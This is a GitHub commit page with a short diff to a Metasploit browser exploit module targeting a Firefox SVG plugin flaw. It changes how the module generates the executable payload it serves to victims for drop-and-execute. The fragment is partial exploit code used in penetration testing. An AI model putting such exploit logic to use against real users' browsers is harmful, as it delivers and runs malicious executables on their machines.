Skip to content

Commit 60fdf48

Browse files
committed
Use renegerate_payload(cli, ...).
1 parent 1a5c747 commit 60fdf48

File tree

1 file changed

+3
-3
lines changed

1 file changed

+3
-3
lines changed

modules/exploits/multi/browser/firefox_svg_plugin.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -111,7 +111,7 @@ def on_request_uri(cli, request)
111111
elsif request.uri =~ /\.bin/
112112
# send the binary payload to drop & exec
113113
print_status("Child frame navigated. Sending binary payload to drop & execute.")
114-
send_response(cli, dropped_file_contents, { 'Content-Type' => 'application/octet-stream' })
114+
send_response(cli, dropped_file_contents(cli, my_target), { 'Content-Type' => 'application/octet-stream' })
115115
else
116116
# send initial HTML page
117117
print_status("Sending #{self.name}")
@@ -120,8 +120,8 @@ def on_request_uri(cli, request)
120120
handler(cli)
121121
end
122122

123-
def dropped_file_contents
124-
generate_payload_exe
123+
def dropped_file_contents(cli, my_target)
124+
regenerate_payload(cli, my_target.arch, my_target.platform, my_target).encoded_exe
125125
end
126126

127127
def get_target(agent)

0 commit comments

Comments
 (0)